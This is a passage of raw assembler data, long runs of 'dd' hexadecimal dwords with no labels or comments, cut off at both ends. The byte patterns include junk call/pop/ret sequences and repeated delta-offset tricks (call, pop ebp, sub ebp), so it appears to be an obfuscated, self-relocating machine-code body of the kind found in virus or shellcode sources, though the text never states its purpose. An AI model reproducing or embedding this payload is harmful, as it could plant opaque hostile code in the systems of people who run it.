81042474h, 18042444h dd 46000000h, 1CB0C356h, 667D8DAFh, 0C7EDCEBEh, 2B1F5985h dd 0C697F06h, 52006A5Dh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 8B8A0CC4h, 2B063DBDh, 91BD2306h dd 8B062B26h, 0BD81F9C0h, 62B2909h, 7D0h, 31850Fh, 0BD890000h dd 62B0939h, 290985FFh, 6A062Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0BD14FAC3h, 2745BD31h dd 0FFF5062Bh, 2B2909B5h, 4595FF06h, 6A062B29h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 745FC356h, 90EA62EEh, 0CE9h, 0E6D7EF00h, 21A87CEEh dd 0E7626D86h, 0E1BD895Dh, 6A062B15h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 3D78C353h dd 436134E1h, 0F28B0B73h, 21EF8166h, 3DB589C0h, 0F9062B2Ch dd 0A79B58Bh, 850F062Bh, 6, 29E1B58Bh, 0B58B062Bh, 62B3071h dd 815BD8Bh, 7E9062Bh, 93000000h, 2654DC95h, 6A1040h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 2F62A5C3h, 0DC20EE42h, 8D891171h, 62B273Dh, 1551B503h dd 12BE062Bh, 3300F929h, 2B025DBDh, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 47E333A2h dd 44395C32h, 11E92287h, 81000000h, 0D383A948h, 0C8BB466Ch dd 0A1E83462h, 0D73FB310h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 1CC35343h, 0F87AE9F9h, 0F53FFFFh, 8B5FFEBFh dd 51006AC1h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 0E94841D7h, 0EBA9A324h, 4, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 8FB6F5A6h, 9D895F53h, 62B2639h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 0D5C35343h, 4CAE2FDEh, 0BDCCC21Fh dd 11E8h, 0AD262B00h, 0C9ABEF1Bh, 3D768860h, 176D8D1Fh dd 5E92B5Eh, 0C5000000h, 0C96696CEh, 0C1858D5Eh, 6A062B2Fh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 0E887C353h, 14h, 0DB5F335Eh, 28E1E94Fh, 59F43F9Ah dd 544E20F0h, 0DFCF2398h, 14E95EF9h, 80000000h, 218B42FAh dd 93348B07h, 7DF66AD7h, 0D07D9EB8h, 90B86509h, 0BE960h dd 9A770000h, 0C66F1704h, 725348BBh, 0CB8B6037h, 61615851h dd 0AC69BE50h, 23905EB7h, 2B1581B5h, 6A006A06h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 610DC357h, 89801F1Ah, 2B07B185h, 89006A06h, 2B00B995h dd 0CE816606h, 858DBD80h, 62EF496h, 6E960h, 0CC270000h dd 25165DF0h, 92CE8052h, 0C083615Eh, 0D1B58B05h, 31062B34h dd 2B05D59Dh, 0EE99006h, 39000000h, 0AB0340AFh, 0FB0EF61Dh dd 812B6D59h, 0F88B50FDh, 0DF816690h, 6A0875h, 6AF0BF0Fh dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 20A19832h, 1CB91509h, 148B0Fh, 0FE90000h dd 0D2000000h, 0AB938873h, 0DBDEA94Dh, 0B37C077Ch, 95FF046Bh dd 62B34E1h, 8DF88B66h, 2EA6AA9Dh, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0BED3FFC6h dd 3DDA3714h, 1E0D85FFh, 61E9062Bh, 0E8000009h, 0 dd 0A0ED815Dh, 6A062EF4h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 25ACC357h, 7DFA9DC4h dd 8B667894h, 65B533F7h, 81062B09h, 2B2909BDh, 7D006h dd 8C860F00h, 8B000001h, 2B159DBDh, 0F19D8B06h, 0F9062B1Bh dd 100E381h, 81660000h, 0B5097CFh, 0E6850FDBh, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 9280C357h, 72B00C2Ah, 83FABF0Fh, 2EF2B5BDh dd 840F0006h, 63h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 38C35747h, 4B5D2F23h, 55865982h, 0BC1EE81h dd 0B70F2834h, 0ADE9F1h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 10E9A6C3h, 1B000000h dd 1A66194Dh, 9C3546DEh, 0F216506Dh, 0C71E094Bh, 2EF2B585h dd 106h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 663502C5h, 0E93D3EBEh, 4Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 9DC35141h, 0BDC2367Fh dd 0B585C705h, 62EF2h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0DD63C356h dd 8DFC8628h, 2B1BF19Dh, 14E806h, 1F290000h, 0ADFD2BD9h dd 17660C60h, 0F46404F1h, 58C43ECh, 815F88E8h, 0FFFEFF23h dd 51006AFFh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 0E99A1ADAh, 0Dh, 31E2365Fh, 0FFF7BA57h dd 0F5C19BB1h, 11BD0BF7h, 66062B19h, 0C3F6DB8Ch, 9C840F04h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 8CB0C356h, 9E7F7560h, 0E96718BAh dd 6, 4F1F2FB5h, 9D8982EDh, 62B359Dh, 356995FFh, 6A062Bh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 62E89FC3h, 98856514h, 0BD89524Ah, 62B18C5h, 8B66905Fh dd 8B6650F2h, 6A90F2h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 18EAC0C3h, 0C76BE4B7h, 5860Fh, 0A4BF0000h dd 0E96C9DC0h, 473h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 9C35646h, 69850950h, 8B062B30h, 2B2C61B5h dd 6A00B006h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 0E7EFC356h, 70E67280h, 1DB98529h dd 0CE8062Bh, 0AF000000h, 8B06B56Eh, 0D781C545h, 0E92AE4D8h dd 13h, 0B780124Fh, 717CC5Ch, 9AD8CD11h, 93273E4Fh, 5EC024B8h dd 6A71E4h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 1613B3C3h, 0FB8BBE43h, 0A8DF781h, 0B60F084Dh dd 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 0AEEE08E1h, 9E8h, 2D76F800h, 740744B9h dd 9E91556h, 47000000h, 0D59B258Dh, 32E7C19Dh, 6BA5Fh dd 0FC600000h, 0DFFC50BFh, 0C38B6163h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 6C35343h, 0C159637Bh, 6A04E8h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 93998EC3h, 0DE992AAh, 1000000h, 1A03E192h, 554051C9h dd 0F9DC28A3h, 0FE9h, 0E743F00h, 306D7C49h, 51D7001Bh dd 0AC1F646h, 6AE2F766h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 0DFE1C356h, 0F7935437h dd 8BAA59DEh, 6AD82BF2h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 0CD2CC355h, 28179745h dd 1C8950E0h, 0F88B6624h, 174DB58Bh, 0B5FF062Bh, 62B2909h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 64C35747h dd 1D911551h, 0EDB58B14h, 89062B2Eh, 2B2E359Dh, 0BDB53306h dd 0FF062B2Ah, 2B294595h, 53E78106h, 0B017A325h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 92B23FE8h, 92685834h, 599D8902h, 0E9062B01h, 0Ah, 0EA474BC0h dd 0F5162D95h, 70E635A6h, 3860Fh, 0F5500000h, 0E971E45Fh dd 14h, 59824B5Dh, 2895586h, 0D977CB51h, 0EC9182D3h, 28D55C2Eh dd 830F613Ch, 20Fh, 4FD9589h, 0B60F062Bh, 0CE9D8h, 84C90000h dd 51ACDBAEh, 0A0298CDh, 6BA27E8h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 5BFDC353h, 1358589h, 0C38B062Bh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 0B3C35747h, 3648C8F1h, 6A04E8C1h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 0E829C355h, 66F98F5Ch, 0D82BE2F7h, 18F0Fh dd 58F80000h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 0CCC35141h, 0F4DF6FAh, 68Ah, 41BD2300h, 2B062B35h dd 48880FD8h, 6A000001h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 0ED97C357h, 6D8D9DAh dd 81600570h, 0BAB7A0EBh, 0B961F528h, 7, 3D9D8951h, 5E062B2Ah dd 0BFA5E781h, 0C1831CAEh, 0E9BD8B00h, 66062B05h, 3BBE38BFh dd 0F4860FD9h, 9000000h, 2B0965B5h, 0D98C6606h, 6E1B50Bh dd 0C1F6062Bh, 0B0840F04h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 1137C353h dd 57F4659Dh, 5B58960h, 0E8062B29h, 11h, 8C14ABECh, 3B15C384h dd 0A0680680h, 9CB46D18h, 5E6159A2h, 356995FFh, 9D09062Bh dd 62B28E9h, 0D9D015Bh, 8B062B07h, 2B097DB5h, 8BC32B06h dd 2B00F5B5h, 8343D06h, 860F0000h, 43h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 14h, 0E9C35545h, 4EE9h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 241F9ECAh, 8B8A4109h, 57006AC0h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 85192A01h dd 0A880FDC4h, 419D8905h, 8B062B1Fh, 23D88BC3h, 2B2A21BDh dd 6D85C706h, 0FF062B0Bh, 605EC6C9h, 0B81BD09h, 8D09062Bh dd 62B2079h, 6AC08B61h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 0BE23C353h, 293429E2h dd 2909BD81h, 7D0062Bh, 850F0000h, 4Ch, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 14h, 2EC35242h, 5D2BBF66h dd 290985FFh, 6A062Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 8560FCC3h, 66ED1655h, 24CCC781h dd 2909B5FFh, 6A062Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 0AB2681C3h, 0F28BEB16h, 294595FFh dd 6A062Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 0EF7AE4C3h, 6860Fh, 0B58B0000h, 62B2589h dd 899D89h, 6090062Bh, 0EF18D8Bh, 0BF66062Bh, 31612ABAh dd 2B19B98Dh dd 0ABE6606h, 0DE9A7h, 44B60000h, 3E8CA6BAh, 0C8719546h dd 316649C8h, 2B35858Dh, 0A5858906h, 6A062B0Dh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 0B002C357h, 0DE908DE8h, 0E895387Ch, 6, 6540411Fh, 0BF661339h dd 6A5FC212h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 0C1E4C352h, 0EC4CD568h, 3ADDD55Bh dd 1C79B58Bh, 29F9062Bh, 2B3505BDh, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 0CD03222Eh dd 29BD2322h, 53062B32h, 0BD4DF81h, 505E7F82h, 2D5F681h dd 0B5036764h, 62B2495h, 8B66FC5Eh, 58C0FF2h, 66000000h dd 327AD781h, 78C0Fh, 3FC0000h, 2B1E41BDh, 50006A06h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 0FBBF0F5Eh, 0BE8h, 3D8F6000h, 214DB3FEh, 28676EF1h dd 13E9h, 638A2600h, 0AB359F5Eh, 11682DBFh, 36EC5948h dd 0F75116A1h, 9995295Fh, 50062B1Dh, 6870Fh, 0B5890000h dd 62B26FDh, 0F6B9E95Eh, 8589FFFFh, 62B2041h, 359D8960h dd 8B062B0Ch, 2B2CD99Dh, 458D0106h, 61062B24h, 0BD23C18Bh dd 62B3395h, 4EBh, 0B70F0000h, 0C1858DF6h, 6A062B2Fh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 8556C355h, 14E98Bh, 433F0000h, 6309A631h, 0AB9EBE27h dd 38C212Eh, 0AF196417h, 0E9501720h, 0Ch, 20AF1964h, 0C09A3B17h dd 6C0598D6h, 6A240489h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 40D3C357h, 6A37C7h dd 6AF18Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 0FEC35141h, 0AFA342A2h, 858DA28Ah, 62EFF76h, 0C7816650h dd 835F2140h, 953105C0h, 62B2B5Dh, 50F6BF0Fh, 880Fh, 4890000h dd 29006A24h, 2B28B1B5h, 6A006A06h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0B9B3C357h dd 0B5B58992h, 0FF062B25h, 2B34E195h, 0FE906h, 58350000h dd 8883B083h, 0B2D23303h, 0AD6ED727h, 0AA9D8D93h, 6A062EA6h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0C4D5C356h, 2E3CCDCDh, 89FDEB2Ch, 2B18FD95h dd 89D3FF06h, 2B1D4195h, 0D85FF06h, 6A062B1Eh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 3F3EC350h, 4720BF88h, 0BE669F69h, 20E9B433h, 0E8000009h dd 0 dd 80ED815Dh, 6A062EFFh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 2587C356h, 0F18BDA0Dh dd 2909BD81h, 7D0062Bh, 860F0000h, 170h, 17C99D8Bh, 0E381062Bh dd 100h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 0FBC35040h, 6E1F889Fh, 0BD8BFE25h, 62B3555h, 850FDB0Bh dd 0C5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 0A4C35242h, 285BC109h, 7E94444h, 9C000000h, 40BF640h dd 0BD830DE6h, 62EFE06h, 55840F00h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 2BCFC357h, 2B2409B5h, 0F6B70F06h, 81E9h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 94A6122Dh, 0DEDC176Bh, 0D7815610h, 326796A3h, 0FE0685C7h dd 1062Eh, 0B58B0000h, 62B2085h, 41E9h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 0F1A1ABC7h, 685C7EEh, 62EFEh, 0F000000h, 1188h, 0CE900h dd 0EF730000h, 0BEBD45F3h, 60DADAD4h, 9D8D0FB3h, 62B17C9h dd 61858960h, 8B062B21h, 2B34D195h, 8B0F6106h, 8, 880F50h dd 5F000000h, 0FEFF2381h, 6660FFFFh, 0F26AD181h, 19830Fh dd 14E90000h, 12000000h, 90435020h, 0B6DA88F4h, 0CA1C5D46h dd 3FC40FA8h, 616B8F7Eh, 8BDB8C66h, 4C3F6F9h, 74840Fh dd 7E90000h, 8000000h, 0F8CDB179h, 95FF13A9h, 62B3569h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0A3C35747h dd 0E90F03C4h, 811047A1h, 714433EFh, 6057904Bh, 8B665E50h dd 505F61C6h, 310F5250h, 3D54BE66h, 6A90585Ah, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 8870C350h, 0B3D5C9E6h, 0F0E932D2h, 53000004h, 0DB44BE66h dd 6A00B05Eh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 3922C351h, 8E952h, 0DD3A0000h dd 0D90494B9h, 9D890252h, 62B15F5h, 6A70E6h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8D293CC3h dd 62B1C11h, 6A71E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 8D8466C3h, 16D04474h, 3009C72h dd 2B1DA1B5h, 0D8B60F06h, 6BAF8h, 840F0000h, 0Ch, 6840Fh dd 0EE810000h, 3AA1D655h, 6AC38Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 849E81C3h, 0B3978185h dd 10D0A0BFh, 4E8C130h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 0F0C35545h, 8D312E0Bh, 62B172Dh, 6AE2F766h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 7C69C355h, 60A3CB0Dh, 0BE9h, 0FC442000h dd 16043B89h, 0CDA3A83Eh, 6E960h, 96750000h, 11EAEB13h dd 0BE7ED681h, 61616444h, 0E870F53h, 0E9000000h, 9, 0CC5F8E54h dd 0BF2B9308h, 0D82B5FADh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 6DC35646h, 9501D17Ch, 62B1CB5h, 20FDBD8Bh dd 6650062Bh, 1C89F08Bh, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 8D89CB7Dh, 62B1631h, 2909B5FFh dd 6A062Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 0FF9DACC3h, 2B294595h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0EE902h, 16D80000h dd 0FDDF27AAh, 58DC79h, 32A9896Ah, 6A00B0h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0D63F2CC3h dd 0B1553E8Dh, 0BD8BB711h, 62B215Dh, 6A70E6h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 0B58B84C3h dd 62B2B41h, 6840Fh, 0BD8B0000h, 62B2905h, 6A71E4h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 6EF9FCC3h, 613CC59Fh, 269830Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 31F6F6C3h dd 4D932A03h, 1548F81h, 2B05DD95h, 0D8B60F06h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 4C35343h, 2BEA6750h dd 2B1789BDh, 6BA06h, 0BE660000h, 0C38B2730h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 98C35242h, 391F49C3h dd 810FA535h, 6, 15E1BD29h, 8529062Bh, 62B10D1h, 6A04E8C1h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 7678C351h, 1FBCEBADh, 0BE872h, 0A1BD0000h dd 0F552AAD3h, 79DA8DBAh, 0F7665E73h, 57006AE2h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 59BB3D3Ah, 0D82B84ADh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 22C35747h, 63D26A1Bh, 305C9BA6h, 83D68166h dd 6A58CBh, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 0EA32BDC3h, 61003552h, 0E9766A57h, 0Dh, 0C3CCB28h dd 6980C482h, 7E636A12h, 0FEB70FCBh, 880FD82Bh, 10Fh, 7CEF8152h dd 5E027CE9h, 7B9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 0AE99Ch, 2ECC0000h, 95455BFCh dd 22DCDBFEh, 100C183h, 2B215DBDh, 0FD93B06h, 0C686h, 0F9B70F00h dd 6AD98C66h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 0F637C350h, 840F04C1h, 70h, 2FD9B589h dd 95FF062Bh, 62B3569h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 0DFC35747h, 0DE9BBh, 22290000h, 9C7E224h dd 83D80CB2h, 5B7BD130h, 0F9C32BFCh, 8343Dh, 25860F00h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 0ACE2C357h, 2CE9F88Bh, 0F8000000h dd 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 11A9F6C3h, 34ADBD8Bh, 8166062Bh, 8BE969D6h dd 0E8D88BC3h, 0Ah, 67F056A9h, 6DB6F34Ah, 8E0F3CD2h, 1 dd 85C75EF8h, 62B1BF1h, 5E2C693Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 46C35141h, 45EB740Ah, 8BD19DE5h dd 81F38BC0h, 2B2909BDh, 7D006h, 32850F00h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 6D09C356h, 852AF1Bh, 89FB43A9h, 2B0CB5B5h dd 985FF06h, 8B062B29h, 9B5FFFEh, 8B062B29h, 2B11B1BDh dd 0FFF18B06h, 2B294595h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0C764F59Ch dd 701A386Bh, 49BD2390h, 0F062B0Ah, 2780h, 7E900h, 0C40000h dd 0FF662426h, 0FE816h dd 0F42A0000h, 0E0C0341Ah, 47351328h, 1632B124h, 0B1B533ACh dd 5F062B02h, 0B58BFE8Bh, 62B2F59h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 98C35242h, 0FB8B6653h, 0AADBD8Bh dd 0BF5F062Bh, 3A7C68A4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 0F1C35343h, 2324692Ah, 0E4105CFBh, 0BF0FF5E2h dd 0EDBD2BFAh, 66062B0Ah, 0B58BF08Bh, 62B2F1Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 11C35646h, 0FAF3CED8h dd 574C66F3h, 52006AFCh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 8B6BF194h, 2B2999BDh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0BE661EEDh, 8E9E376h, 6AFFFFF7h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 153AC355h dd 1097B82Ch, 0AC3F8269h, 8BF9BF0Fh, 6DB50BC1h, 0EB062B18h dd 4, 0FE0EBF00h, 6A5FDBh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0A751E6C3h, 77CBE66h dd 827BD9BFh, 0C1858D30h, 8B062B2Fh, 0BE5750F8h, 20D571A8h dd 2404895Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 0D4C35545h, 1C89B589h, 6A062Bh, 19099D89h, 6A062Bh dd 1DC1B529h, 858D062Bh, 62F0A0Eh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 0A6C35141h, 9C295AA2h, 0C0833E01h dd 398D0905h, 66062B09h, 0E890FA8Bh, 7, 3C7E1A06h, 0BFB623F1h dd 68F7385Ch, 0BF66505Eh, 390EE3Ch, 2B080DBDh, 6A006A06h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 1DA1C353h, 6A59E4h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 39C35646h, 862D45E3h, 11E9E1h dd 117B0000h, 9339E5D9h, 13D9374Ah, 0BD3F19D4h, 0FF8C0FE0h dd 2B34E195h, 39B50106h, 8B062B17h, 0AA9D8DFAh, 81062EA6h dd 862118E6h, 66D3FF41h, 8E8F18Bh, 0C1000000h, 6B06959Dh dd 0E9117E09h, 8, 61685D3Ah, 0BE9BF8AFh, 0D85FF5Eh, 57062B1Eh dd 0A2D78166h, 54E95FA4h, 0E8000008h, 0 dd 18ED815Dh, 0E9062F0Ah, 5, 4CB5078h, 9BD8126h, 0D0062B29h dd 0F000007h, 14B86h, 13E900h, 0E4720000h, 5D0E4044h, 25CA73D4h dd 0C5C26E12h, 285CF358h, 4D9D8B4Fh, 8B062B0Dh, 2B19C1B5h dd 0E38106h, 0F9000001h, 850FDB0Bh, 0B3h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Ah, 3EC35040h, 7B8F0E82h dd 0EE9FC7Ah, 0DA000000h, 0F7D619DDh, 40FC2DCBh, 0E8EA3096h dd 0A5BD8307h, 62F08h, 50840Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 7C5C87C3h dd 958040B6h, 2E19BD03h, 71E9062Bh, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 0D657C350h, 2F21B58Bh, 85C7062Bh, 62F08A5h, 1, 8DF8166h dd 6E8E0h, 0F33A0000h, 0D34F6526h, 2DE95FF8h, 0C7000000h dd 2F08A585h, 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 9589E231h, 62B0BBDh, 0D4D9D8Dh dd 6A062Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 65CCAAC3h, 0CBC9E4CDh, 0D19D890Fh, 81062B1Ch dd 0FFFEFF23h, 0F0B70FFFh, 6ADB8C66h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 34B6C352h dd 61BD8B9Ch, 0F6062B2Ah, 840F04C3h, 56h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 14h, 88C35747h, 24E18D89h dd 0B58B062Bh, 62B0EDDh, 356995FFh, 8B66062Bh, 0BF6690FAh dd 6650F2E4h, 903702BEh, 0F2B70F53h, 10E95Fh, 70700000h dd 4FE7344Fh, 1CA4C3C5h, 199EFC43h, 20E99991h, 2B000004h dd 2B2EE1BDh, 8900B006h, 2B09FDB5h, 6A70E606h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 0E6C8C353h, 1D73FD89h, 71E45ECEh, 8BD8B60Fh, 2B0E01BDh dd 0BEBF6606h, 6BA06h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 0FB583DC3h, 0E91238B3h dd 0Ah, 697E11C6h, 83A7C730h, 0C38B38F1h, 0BE9h, 7C00BA00h dd 68206FAh, 19D955Ah, 0F04E8C1h, 684h, 51850900h, 66062B0Dh dd 3357E2F7h, 2B2C81B5h, 0D82B5E06h, 10E951h, 0A2EB0000h dd 0F7DE2D2Dh, 6324A943h, 1DBAE510h, 935FE30Fh, 77FBF66h dd 0F4BF6650h, 6A9332h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0FF8E8BC3h, 2B2909B5h, 0DDBD8B06h dd 0FF062B29h, 2B294595h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 545CDF40h dd 0C6AB36A6h, 0BF66ECEFh, 0B05E5Eh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 0C7C35242h, 0E3FC9674h, 5EF81DEh dd 0F1EAEC6h, 688h, 45B58B00h, 0F5062B0Bh, 6A70E6h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 71D075C3h, 52EA32BDh, 66610035h, 0E47F3EBEh, 53006A71h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 8B661C60h, 0F613CFAh, 27683h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 983655A5h dd 0BE668165h, 9D2919FEh, 62B1EA5h, 0FD8B60Fh, 480h, 0F4BE6600h dd 6BADDh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 49DEA7C3h, 3DDC8C2Ch, 8BDB58Bh dd 0C38B062Bh, 8D1B501h, 0E8C1062Bh, 